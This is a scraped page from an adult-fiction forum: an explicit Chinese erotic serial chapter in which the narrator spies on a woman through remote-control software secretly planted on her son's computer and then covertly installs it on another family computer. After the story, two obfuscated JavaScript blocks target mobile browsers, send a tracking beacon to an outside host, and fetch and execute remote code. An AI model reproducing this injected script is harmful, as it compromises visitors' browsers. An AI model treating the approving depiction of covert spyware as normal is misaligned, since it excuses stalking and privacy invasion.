图片载入中

良家人妻的诱惑(第二部)(23)

特大字】 【大字】 【中字】 【小字

第二十三章

吕绍辉本应该只关注吴越才对的,可是随后那个站在床边的高大男人的一个举动让他把注意力转向了这个男人:原来吕绍辉认为人家这对夫妻都要上床休息了,这个高大男人应该告辞退出才对,可是相反,吕绍辉却看到那个高大男人返身走到卧室门口鬼鬼祟祟地探头向外张望了一阵后,居然把房门关好还反锁了房门,而吴越由于背对着那个男人在给自己不省人事的男人整理枕头、被褥所以并没有注意到身后发生的事情。

只见那个男人锁好房门后就满脸淫笑着看向了吴越那娉婷袅娜的背影,并缓步朝吴越身后走去。走近大床后他居然就近又抬头仔细端详起了吴越夫妇的结婚照,不过他盯着结婚照看的同时,脸上的笑容却是更加的淫荡了,似乎是想到了什么让他倍感“鸡”动的刺激画面,而且更加过分的是他裤裆里居然顶起了高耸入云的帐篷,帐篷头部还颤巍巍的抖动着……

吕绍辉看到那个本来面容英俊的高大男人的表情越发变得淫邪,同样作为男人的他立刻明白了他将要做什么。再看看还背身毫不知情的吴越以及昏睡在一旁的她的丈夫,他心中焦急,他跟吴越虽然接触时间不长,但是吴越却给他留下了极好的印象,她虽貌若天仙,可却待人亲切、真诚、优雅而又彬彬有礼。和她交谈会让人感觉如沐春风,那种优雅、圣洁的气质让他打内心里仰慕。他可不想让这么美好的女子被歹人所奸污。必须得提醒她那个男人不怀好意啊,背着人的表情才是他最真实的嘴脸。

“大宝哪个小坏蛋呢?这会儿怎么还有心情在上网呢?不知道他美貌的妈妈即将遭遇噩运了吗?我得提醒他一下才行啊。”吕绍辉心中暗想,可又一想:“怎么提醒?难道直接告诉他真相?那不是暴露了自己不光彩的偷窥了吗?不行,那样肯定不行。得再想想,得找个好理由侧面的提醒他,母亲有难。”吕绍辉一边目不转睛地盯着监视器屏幕,关注着哪个高大男人的最新动向。一边开动脑筋想着怎么委婉地提醒大宝去帮妈妈解围。

“有了,就说让他务必叫一下他母亲特训费用有变化,还得再商量一下,定好后,明晚好去给他单独特训。”吕绍辉反复推敲,觉得用这个理由让大宝去找他妈妈既合情合理不会被怀疑又可以让大宝去帮他妈妈解围,两全其美。

吕绍辉拿出手机翻开通讯录,把今天下午吴越母子为了方便让他明晚去给大宝开特训课,而留下的家庭住址和联系电话翻了出来。里面留了吴越和大宝的手机号。他按照大宝的手机号码拨出了电话:“对不起,您拨打的电话已关机,请您稍后再拨。”

“混蛋,这么关键的时候居然关机了?这可怎么办?大宝是最好的帮吴姐解围的人选了。如果联系不上他那可就麻烦了。总不至于报警吧?这种事情要是警察介入闹得沸沸扬扬的。估计吴姐以后在单位也就没法呆了。下策,下下策啊。”吕绍辉焦急地想着对策。

“对了,大宝不是正在上网吗?我给他发一封邮件,但愿他能留意到。”无奈中的吕绍辉又想出了一招,于是他马上打开邮箱,把刚才瞎编的让大宝去叫吴越的理由飞快的打上,然后发送了出去。可是一分钟过去了……二分钟过去了……五分钟过去了,他既没有收到大宝的回复邮件,也没有在监视视频中看到大宝敲响吴越房门的场景。

可是无声的监视器画面中却仿佛发生了些变化:那个男人好像正在跟吴越交谈,他好像说了什么,吴越像是低头思考了一会儿后就摇头拒绝了似得。那个男人一脸怒气的样子,并一步步向吴越逼近。由于监视器没有收录音设备,所以吕绍辉根本不可能知道他们之间到底说了些什么。

吕绍辉看到这幅场景心中一沉:“完了,这个男人估计是已经被吴越拒绝了什么无理要求,所以恼羞成怒要霸王硬上弓了。这可怎么办,大宝哪个死孩子关键时刻掉链子。实在不行就……”

他已经顾不得许多了,他知道一旦哪个男人动手,无论结果怎样都会在吴越心中留下阴影,必须赶在他动手前制止他,现在他必须下决断了,先给吴越打个电话试探一下她的语气,如果吴越需要自己帮忙她肯定会在电话中有所暗示的,如果人家不需要自己帮忙,哪自己也就不需要瞎替人家操心了。

吕绍辉又翻开手机通讯录,吴越的手机号翻出来。他心中惴惴:“万一吴越的手机也关机了可怎么办?救人如救火,大不了我亲自开车跑一趟他们川庆家属院去敲门给他搅场,反正这么近开车也就几分钟的事儿,为了吴姐的清白这个险还是值得冒的。”他暗自下定了决心,拨出了电话。

“嘟……嘟……嘟……嘟”还好手机没有关机传来了待机的提示音,吕绍辉一边紧张地听着手机话筒,一边马上看监视视频中两个人的反应。果然哪个本来已经脱了鞋一只脚跨上床的高大男人身形一滞,头看向了一旁的梳妆台,吴越也惊喜地看向了梳妆台上的一个女式手包。

“快接电话啊?快点接啊,到底是怎么回事?”吕绍辉看到监视器画面中吴越一直焦急地看着梳妆台上的女式手包,可她好像不敢靠近似得。吕绍辉初始有些不理解,可再一看视屏中两人的位置关系马上明白了:那个高大男人所在的位置正好卡在梳妆台跟大床之间,吴越估计是害怕她去接电话被他拦腰抱住,所以一直犹犹豫豫几次试探又不敢爬过去床边。

“您拨打的电话无人接听,请您稍后再拨。”手机传来了无人接听的提示音。

“该死,难道真的要自己亲自去跑一趟川庆家属院去给他敲门给搅场不成?”吕绍辉心中有些犹豫。

“这么晚了,无论自己编什么理由去敲人家的门,好像都说不过去吧?要不再观察观察?实在不行再说?”吕绍辉还是下不定决心出发去救场。目光又落回到了视频监视器屏幕上,想看看手机铃声停止后两人的反应。

监视画面中的高大男人可能是见手机铃声停止了,吴越也没有敢过去接听,所以当他再扭过头来时脸上露出了得意的笑容。眼神更加肆无忌惮地在美妙人妻的周身上下扫视着,像是在欣赏即将到手的猎物般。而吴越则满脸黯然,好像失去了最后一根救命稻草似得颓然瘫坐在了大床的最里端,好像认命了似得无力地倚靠在床头靠背上。

当看到那个男人已经脱了鞋,整个人都爬上床,向着吴越扑去时,吕绍辉气愤道:“妈的,别得意的太早了,我让你得意……让你得意……”只见他又狠狠地按下了重拨键,又一次拨通了吴越的手机。

只见监视画面中:正在大床上爬近吴越的高大男人身形猛地又是一滞,两眼冒火地又一次看向了梳妆台上的女式手包,吴越的眼神也亮了起来。

就在此时床上昏睡的吴越老公仿佛也受到了手机铃声的刺激,翻身动了两下,嘴唇还不停地动着,像是在说着梦话似得。这一下可把已经靠近吴越的那个高大男人吓了一跳,他猛地跳下了床,机敏迅速地躲在了衣柜后面,不敢再露头了。

吴越眼神放光,也趁此机会火速爬到床边一手抓起床边梳妆台上的女式手包,又返身爬回大床最里端,并打开了手包拉链取出了手机按下了接听键。

“喂?你好是那位啊?”吕绍辉的手机听筒里传来了声音有些发抖的甜美女音。

“吴姐,是我,吕绍辉。”吕绍辉听到吴越哪甜美声音后略微呆滞了一下,就马上回应道。

“哦,原来是吕老师啊,什么?你已经到我们小区了?不知道我们家在几号楼?我说怎么这么着急一个劲儿地打电话呢。我家在12号楼2单元三楼东门。好,我们在家等你。嗯,大宝啊,他应该还没有睡觉呢。”吕绍辉刚刚自我介绍完,手机听筒里就传来吴越这么一大段的说辞。

吕绍辉刚开始被吴越这一大段说得有些蒙:“我什么时候说到她们小区了?更没有说要到她们家啊?”可是略一思考便明白了吴越的苦心。她肯定是在学用诸葛孔明吓退司马懿的那招:“空城计”来吓退视屏中的哪个高大男人。

会意了以后他马上在电话里回应道:“好的,吴姐,我知道了,我一会儿就能找到你们家了。”

“好啊,那我们在家等你。”吴越愉悦动听的声音从听筒那头传来。她可能是没想到吕绍辉能这么完美都配合她,而且没有一丝质疑她的声音,所以她很高兴。

接听完电话吕绍辉不再迟疑,他马上收拾了一下就出发去川庆小区了,因为他担心哪个男人万一不识趣,继续赖在吴越家,只靠演“空城计”万一穿了帮吴越可就惨了。他并没有关闭监视视屏只是关闭了显示器的电源让它黑屏了,因为他担心自己离家这段时间会发生什么自己看不到的事情,正好靠这部监控器记录下来。他并没有跟妻子刘亦菲打招唿就偷偷熘出了家门。

晚上十点多由于他们这条街区特别的偏僻,所以街上没有什么人,今晚是八月十五月亮又格外的明亮,开车的视线还算不错。他开动马力只几分钟就驶进了川庆小区。在刚刚找到12号楼时,就从那栋楼猛地驶来一辆黑色的别克君威,那车老远就打开了疝气大灯照他的车。

“谁这么不懂规矩?在小区里开什么大灯啊?有病!”吕绍辉骂道,他本想按两下喇叭以示示威,可一想都快十一点了,还是算了。

那辆车的确有点怪,因为等他们两车会车时,那辆车却放慢了车速,不一会儿竟然停在了小区的路边。

“看来真的是有病,懒得理你。”吕绍辉把车停到了吴越家楼道门口,下车要上楼时扭头发现那辆车还停在路边,好像在观察他似得,这让他很气愤。

等他来到三楼找到东门后,刚想敲门,那道防盗门竟然自动打开了,从里面冒出了巧笑嫣然的吴越,只见她用食指树在红艳香唇上做着嘘声的动作,示意吕绍辉不要出声,然后做手势让他跟她进来。

吕绍辉进到客厅后吴越才小心翼翼地锁好了防盗门。吕绍辉刚想坐在客厅的沙发上问一下吴越情况,却见吴越示意他继续跟她走,客随主便,吕绍辉没头脑似得跟在吴越身后又走了几米进入到了一间房间,这时吴越才关好房门小声解释道:“都快晚上十一点了,大宝明天还要上学,我不想吵醒他所以……”

吕绍辉当然明白吴越的良苦用心所以也没说什么,只是扫眼观察了一下这个房间,只见这间屋里既摆着古朴的书柜摆满了各种书籍,又摆着现代化的电脑桌,上面有一部台式联想电脑。这就是大宝用的电脑?自己的远程控制软件就是暗植在了这台电脑上?

“吕老师,谢谢你,没想到大过节的这么晚了,你还真过来了。”吴越感激地看着吕绍辉说道。

“我听你打电话时话里有话,知道你肯定是遇到麻烦了,所以就赶忙开车过来看看,看有什么需要帮忙的。”吕绍辉真诚地说道。

“你真是聪明,不愧是高智商的电脑专家。我当时的确是遇到了些麻烦,幸亏是遇到了你,要是别人估计是反应不过来的,也不会这么晚过来帮忙。”吴越感激地望着吕绍辉,盈盈秋水含蓄深婉,那一眨一眨的眼睫毛下明亮的眸子有着无比的磁性,在昏暗的书房台灯的映衬下更显得明亮。让人的目光一触到就被吸引住久久不肯离开,吕绍辉的目光就这样定定地望着吴越的迷人明眸,一时竟然似痴呆了一般。

“小吕?小吕?你傻看什么呢?呵呵,有什么好看的?真是的。”吴越娇嗔道,可虽是嗔怪却透着无尽的风情,那含羞带嗔的妩媚样子要多迷人有多迷人。

吕绍辉这时才忽然觉得:自己可能是冤枉刚才的那位身材高大的大哥了,吴仙子的这种风情岂是一般人能消受的了的?正常的男人估计都会把控不住的。现在看来刚才那位大哥精虫上脑的表现太正常了。

“吴姐,主要是你太……太……太迷人了。”吕绍辉被吴越盯着看得都变得有些结巴了。

“嘻嘻,有你老婆迷人吗?”吴越半开玩笑半认真的问道。

“你们风格不同,不好比的。哎呀,吴姐,你怎么转移话题了呢?正说着你遇到的麻烦是怎么一回事呢,怎么现在又绕到我身上来了?”吕绍辉这才发现吴越其实很狡猾,不知不觉间已经把话题扯到了自己身上,而她今晚的事却只字未提。

“哎,别提了,都怨我老公。非要请我们单位的一位惹不起的领导来我们家做客,结果可好他自己倒是喝多睡着了,就留下我一个弱女子来陪着。哪个领导吧平时挺好的,可是今晚可能也是喝多了,居然向我提出了很过分的要求,我没答应可是又不敢得罪他,我们单位现在正是改制分流人员的关键时候,我怕被他记恨在心在单位会被他‘穿小鞋’哪可就惨咯。正在他逼着我做让我为他……咳咳,僵持的时候,你的电话就及时的打过来了,让我既没有得罪他又让他不好说我什么。嘻嘻,所以我要特别的感谢你啊,小吕。你今晚可是给我帮了大忙了,这么晚了还不辞辛苦地跑过来,真是让我太感动了,我以后一定会加倍报答你的。”吴越认真地说道,哪双摄人心魄的眸子再次波光流转,水盈盈的看向了吕绍辉。

吕绍辉被看得一阵失神,口中喃喃自语道:“没……没什么。应该的,应该的。”为了掩饰自己的失态他慌忙扭头指着那台电脑说道:“大宝,平时就是用这台电脑吗?”

“不是啊,我们专门给他买了一台新电脑,在他自己的屋里。书房里这台电脑一般是他爸用的。”

“哦,原来是这样。”被吴越这么一提醒,吕绍辉突然发现自己犯了个错误,自己暗植在大宝的电脑中的远程控制软件到现在都能运行正常,说明大宝一直都在上网,可是这台电脑却是处于关机状态的。不过要是用于【远程唤醒开机】的话这台电脑更合适,因为它远离居住主人的卧房,即使为了监视被【远程唤醒开机】了也不会被人发现,而大宝房间的那台电脑则不同,如果在大宝晚上休息的时候唤醒开机,那电脑开机后风扇的噪音很可能会被察觉。

“一不做二不休,既然来了,又发现了这么好条件的远程监控电脑主机,何不借机把那套远程控制软件暗植在这里呢?”吕绍辉暗想道,他发现自己现在对吴越已经越来越感‘性’趣了。如果有朝一日能现场直播看到吴大美女的脱衣秀表演,那该多刺激啊?而且很大可能还会看到像今天这种吴越被别的男人猥亵的场景,虽然自己不喜欢,可是能知道别人最隐秘的性事还是很刺激的。

“吴姐,我看你也跟着大宝一起去学习电脑课程难道你也爱好?”吕绍辉故意引导道。

“唔,我们工作中也经常用到,而且我打算自己编写几个小软件来减轻工作负担。所以……”吴越掩饰道,她当然不能告诉吕绍辉:是因为家里的小醋坛子担心她自己在家被别人吃豆腐,才把她拴在身边一起去参加NOIP培训班的吧?

“哦,是这样啊,真看不出吴姐不仅人美,还这么有追求呢。正好吴姐我帮你把我编写的那几个游戏软件存过来,有空的时候你就可以边玩边练习应用程序了。”吕绍辉终于直击要害提出了自己的想法。

“都这么晚了,多不好意思啊。还是以后有空再说吧。”吴越委婉地拒绝道。

“哎呀,没事儿,没事儿,这对我来说就是家常便饭。呵呵。”吕绍辉岂肯放过这个千载难逢的好机会?他故意装傻充愣好似并没有发现吴越是在拒绝自己的要求,伸手就按下了电脑开机按钮。

“我还想多跟你聊会儿天呢,可是你……”吴越见吕绍辉已然打开了电脑,只好无奈地说道。

“没事的吴姐,也就三两分钟的事情,而且也不影响我跟你聊天啊。”吕绍辉不为所动,他坐在了电脑桌前的那把转椅上,继续加紧操作着。

“小吕,没想到你这么热爱你的专业,就这么一会儿的时间都不忘记你的电脑程序。”吴越看阻止不了,于是索性也俯身靠在吕绍辉身后看他操作。

吴越吐气若兰由于她俯身后,脸颊紧挨着吕绍辉的后脑,吕绍辉只觉一阵阵香气漫入进了自己的鼻孔之中,马上让他浑身地燥热难耐。

“天啊,我越来越理解:今晚的那位被激发了兽欲而有些冲动的大哥了。这吴姐的诱惑力实在是太大了,这么紧挨着聊天,正常的男人谁受得了啊。她简直就是绝世的尤物啊!”

他强压心头的躁动,想专心于操作电脑下载自己的【远程控制软件】上。可吴越却不知情,她看到吕绍辉运指如飞,像极了钢琴家弹钢琴时的那种韵律,她好奇吕绍辉是怎么做到的,为了看得更真切,于是她更加把粉面凑近吕绍辉的脸颊。

一股淡淡的独特的清香渐渐飘入了吕绍辉的唿吸道内,吕绍辉只闻了片刻脑袋“轰”得一声,刚刚被他强行压制的欲望喷薄爆发,脸颊一下子涨红了起来,下腹两腿间的哪根肉棒也一下子硬挺了起来。

“前面的那位大哥啊,看来我是真冤枉你了啊!吴姐这女人也太妖媚了,她身上的那种特殊的香味让人闻了就立刻把控不住了,有种想入非非的感觉。我自制力这么强的人都被她诱惑得这么狼狈,更何况你了?”吕绍辉继续咬牙强忍坚持着,内心已经彻底为前面那位高大男人平了反。

终于把暗植着【远程控制软件】的学习游戏软件安装完毕了,他赶紧站起身来,好躲开吴越在他脸边这么继续释放那种淡淡的独特的体香,可是他站起的匆忙,早就忽略了自己的裆部还高高顶起着一顶高耸的帐篷。

吴越就站在吕绍辉身侧,靠在他坐着的椅背上,他站起来的动作就发生在她的眼皮底下,所以吕绍辉两腿间高高顶起来的那顶高耸的帐篷被她尽收眼底,她脸上一红却装作不知,今晚已经是第二个男人当着自己的面下身顶帐篷了。她或许也渐渐有些适应了这种场景,只要自己不点破双方都不会觉得尴尬。

“这个小吕,难到也对我有什么坏心思?不然怎么下面也有了那么大的反应?不过想想也是:要是对我一点儿想法都没有,怎么可能这么晚了,我只是随便一个电话他就积极地赶过来帮我解围了呢?这好像跟他与大宝的师徒关系毫不牵连吧?没想到他看起来文质彬彬的可是性欲却这么强,只是在这儿安装几分钟软件而已下面就顶起来那么大的一个包。”

吴越本想趁着吕绍辉安装好软件就委婉地送客,毕竟时间有些晚了,明天自己还要早起去赶车参加升职培训。更重要的是:今天自己早早就答应了宝宝晚上要去好好陪他“玩玩”的,毕竟今天给他补了那么多的牛鞭、鳝鱼也应该让他发泄一下了。

可是一想到吕绍辉对宝宝的未来至关重要,只要他用心传授宝宝电脑专业的技能宝宝将来必然前途无量。现在看到吕绍辉居然对自己有了别的想法,她觉得这倒未必是什么坏事。自己正好可以利用他对自己的好感,把吕绍辉的心牢牢攥在自己的手心里,好让他甘心情愿地全身心的传授宝宝最实用的电脑技能。至于他对自己的那种想法嘛,自己可以多把他引导向他的妻子。在他面前多提他的妻子刘老师,估计他慢慢地就会收敛那份不该有的心思吧?

“小吕,你把你的漂亮媳妇一个人放在家里不担心啊?”吴越按自己的想法引导道。

“有什么好担心的?她现在还在备课呢。她一般睡得很晚。我就是在家她也懒得理我。”吕绍辉如实说道。

吴越忽然想起昨天自己问他关于孩子的问题时他马上就不高兴了,现在自己既然知道他对自己有好感,当然就要有恃无恐的问个明白,好满足自己超强的好奇心。于是开口问道:“不怕你不高兴,可是我还是想问问,你们都结婚这么多年了为什么还不要个孩子呢?”

“这……不满您说,是我爱人她不想要,她在单位还是新人担心休产假丢了位置。”果然一说道孩子问题,吕绍辉脸色就变难看了。

“哪有这样的事啊,国家专门有产假规定就是为了保护妇女的生育权利的。更何况是一中了,有一多半老师都是女老师吧,根本就不用担心这种事情,恐怕这只是借口吧?我作为过来的女人对这方面还是很了解的。”吴越竟然当即就点破了吕绍辉的妻子刘亦菲这是在找不想要孩子的借口。

“吴姐啊,你说的太对了。我一直就觉得她是在找借口不肯要孩子。您作为过来人能不能帮我分析一下她到底是怎么想的?”吕绍辉突然找到了知音,于是把了解刘亦菲内心想法的希望全寄托在了吴越这个‘过来人’的身上了。

“哦?你们夫妻平时感情怎么样?”吴越天生的好奇心超强,遇到这种事情当然不肯放过于是要帮吕绍辉的忙,想帮忙分析一下刘亦菲的心理。

“感情挺好的啊,她也挺关心我的,我就更不用说了,都要把她捧在手心里了。”吕绍辉解释道。

“感情方面还行,那哪个方面呢?怎么样?和谐吗?”吴越脸略微一红,含蓄地问道。

“您是说:夫妻生活方面吧?这方面就……”吕绍辉脸色变了一变,语气变得吞吞吐吐的。

“怎么了?不太和谐?你们多久做一次?”吴越现在的好奇心显然是超过了羞耻感,竟然就这么直白地问道。

“我们……我们……”吕绍辉变得犹犹豫豫,吞吞吐吐的,不肯说话了。

“真是的,怎么突然变成结巴了?还是个男人吗?这有什么不好意思的?我这不是为了要帮你解开你爱人的心结吗?你要是不说我怎么帮你?”吴越激将道。

“这……吴姐您能发誓给我们保密吗?不然我不能告诉你。”吕绍辉认真地说道。

“当然可以,我现在就可以发誓如果泄露你们的秘密天打雷噼!”吴越在超强好奇心的驱使下竟然为了了解真相毫不犹豫地发下了重誓,女人真是神奇的物种。

“我……我们已经很久没有真正的做爱了,我们结婚这三年多来总共做爱不超过十次。吴姐,你可一定要给我保密啊。这种事情连我父母我都没有告诉啊。”吕绍辉说完颓然地低下了头。

“啊?竟然会有这种事情?到底是怎么回事?你们之间不是感情很好吗?怎么会这样呢?”吴越听完吕绍辉的解释也是吃惊不已。

“我们每次做爱她都痛苦的要命,疼得她浑身直冒冷汗。所以做过几次之后我再也不忍心这么折磨她了,以后我要是想要了,就用她的两条大腿夹住我的那东西做,发泄完就了事了。”吕绍辉继续低着头黯然地说着。

“很痛?很痛苦?究竟是怎么回事?到底是谁的原因?难道是你爱人的阴道有妇科炎症?”吴越猜测道。

“不,不是她的问题。是……是我的问题。”吕绍辉头低得更低了,微不可闻地说道。

“难道你的哪根东西有问题?”吴越吃惊地问道。

“嗯,很小的时候就有问题了,大概是在我八九岁的时候吧?”吕绍辉无奈地摇摇头说道。

“到底怎么回事?你能说详细点儿吗?”吴越经不住强烈好奇心的煎熬急迫地追问道。

“我小时候一个夏天的晚上,跟父母一起去德Y文庙去乘凉,在文庙万仞宫墙后面的凉亭拱桥边玩耍时,被我抓到一只很漂亮的甲壳虫子,它的甲壳是那种亮银色的,在月光的照射下显得很漂亮,我就坐在凉亭的石椅上不停地拨弄着它玩,不知过了多久我困了于是就躺着凉亭的石椅上睡着了。等父母抱着我回家后都没有醒来,第二天快中午时才昏昏沉沉地醒过来。”

吕绍辉回忆着,吴越却听的焦急忍不住打断道:“你是说你睡在那石椅上被吹中风了?后来影响到了你的下面发育?”吕绍辉没有回答她,继续回忆道:

“等我醒来首先就是感到小鸡鸡疼痛,麻痒难忍,我脱下裤衩才发现原来那只银壳虫子正爬在我的鸡鸡上,它像是蚊子一样嘴巴上有根叮人的小吸管,正在像蚊子那样叮咬着我的小鸡鸡。疼痛感就是从哪个地方传来的。经过一夜的吸食它的个头好像比昨晚大了一圈,当我气愤地伸手去打它时,它竟然飞跑了。可是我就倒霉了,整整一个月,我的小鸡鸡都又痛又痒的,我没有敢告诉父母,怕他们责怪我淘气。”

“原来是哪个毒虫咬的啊?后来你的小鸡鸡怎样了?跟其他人的有什么不同吗?”吴越又忍不住好奇地问道。

“后来我慢慢发现自己的小鸡鸡越来越跟其他小朋友的不同,以至于以后我再也没有去过公共浴池洗澡,因为怕被别的小朋友发现耻笑我。这个习惯一直保持到了现在。”吕绍辉黯然的回忆道。

“哦?到底变成什么样了?你能简单给我说说吗?比正常人的下体特殊在什么地方了?”吴越这个超级好奇宝宝又开始缠着问个不停,可是她忽略了她问的可是男人的性器官。她竟然早把这一点儿遗忘到了九霄云外。

“哎呀,吴姐,我该怎么跟您说呢?这……要不这样吧,反正这屋里也没有别人,我就让你看一眼,不过你可得给我保密,不许跟任何人透露。你能保证吗?”吕绍辉觉得实在是不好形容自己的阴茎的特征,而感觉吴越也挺可靠的,索性就打算让她‘瞻仰’一下,也省得自己浪费口舌了。

“嗯,嗯,我保证不跟别人瞎说,我就看一眼就行。”超级好奇宝宝吴越,像是吃了兴奋糖豆似得,期待着眼前的这个年轻男人脱下他的裤子,亮出他诡异的阳具!

吕绍辉低头拉开裤子拉链时才发现原来自己的肉棒早就把裤裆顶起来个大帐篷,他脸色一红也顾不得那么多了,索性就伸手从裤裆里掏出了哪根粗长的肉家伙。

当哪根东西颤巍巍地笔挺地出现在吴越面前时,吴越吃惊地用手捂住了嘴巴,这才避免了发出惊叫。她没想到世界上真是无奇不有,居然还有这么怪异的阳具?她忍不住蹲下身来,伸出柔软的玉手握住了哪根怪异的阳具,想体验一下它的触感有何不同……

【未完待续】

本帖最近评分记录

夜蒅星宸 金币 9 转帖分享,红包献上!


上一篇:淫印天使(第二部)(48)

下一篇:一个日本女教师的性爱


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};